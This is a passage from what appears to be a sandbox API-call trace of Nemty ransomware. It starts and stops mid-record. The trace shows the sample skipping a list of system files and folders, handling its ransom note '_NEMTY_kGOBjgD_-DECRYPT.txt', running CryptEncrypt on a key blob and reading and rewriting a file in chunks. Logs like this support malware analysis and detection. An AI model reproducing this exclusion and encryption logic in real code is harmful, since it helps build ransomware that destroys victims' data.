(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0130.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0130.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.221] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f2ed0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x12f2ed0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x12f2ed0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0130.221] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0130.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0130.221] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0130.221] lstrcmpiW (lpString1="flyout.html", lpString2=".") returned 1 [0130.221] lstrcmpiW (lpString1="flyout.html", lpString2="..") returned 1 [0130.221] lstrcmpiW (lpString1="flyout.html", lpString2="...") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="windows") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="$RECYCLE.BIN") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="rsa") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="NTDETECT.COM") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="ntldr") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="MSDOS.SYS") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="IO.SYS") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="boot.ini") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="boot.ini") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="AUTOEXEC.BAT") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="ntuser.dat") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="desktop.ini") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="CONFIG.SYS") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="RECYCLER") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="BOOTSECT.BAK") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="bootmgr") returned 1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="programdata") returned -1 [0130.222] lstrcmpiW (lpString1="flyout.html", lpString2="appdata") returned 1 [0130.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0130.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ef10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0130.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ef60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0130.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0130.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ef98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0130.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0130.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0130.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0130.223] Sleep (dwMilliseconds=0x5) [0130.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x1449b30, dwHighDateTime=0x1d561e8)) [0130.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x1449b30, dwHighDateTime=0x1d561e8)) [0130.226] GetLastError () returned 0x12 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.227] GetLastError () returned 0x12 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.227] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0130.227] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0130.227] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0130.227] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="y0SNtWlb5xQNitmjiqoUNqpeBv00N6qkooynY9EhU5hQBhzfRuT+sK5ICssO+3m7\r\nvf7jQa7N0qClKcl9dtVqlrzhe8AEKP8fOA+jzaGhDfMtdOaIKj2kEd8QjcKsWqzY\r\n79Jv7LPpSr9xzQ7fRSPbEMX6uSeRq8PdNlNSb5u8k60NusqkLgR6v7xGC3rqcxjM\r\nFhZwo2OCeb4rdkYdl5jsaMR8hma7mcV5SLYtDUrx22I4ogJVasUZbh6AAuHUKo2R\r\nsORbSq4Ohl5PSqHAggbO0y2Mldk7qdkqeLKyFLL+HlF4/hPl9Rfl11tnnNLfVyI4\r\nD0a/MEFDOW3jv5/Ku01iZQ==\r\n", pcchString=0x653ec5c) returned 1 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.227] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.227] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0130.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0130.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0130.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.328] WriteFile 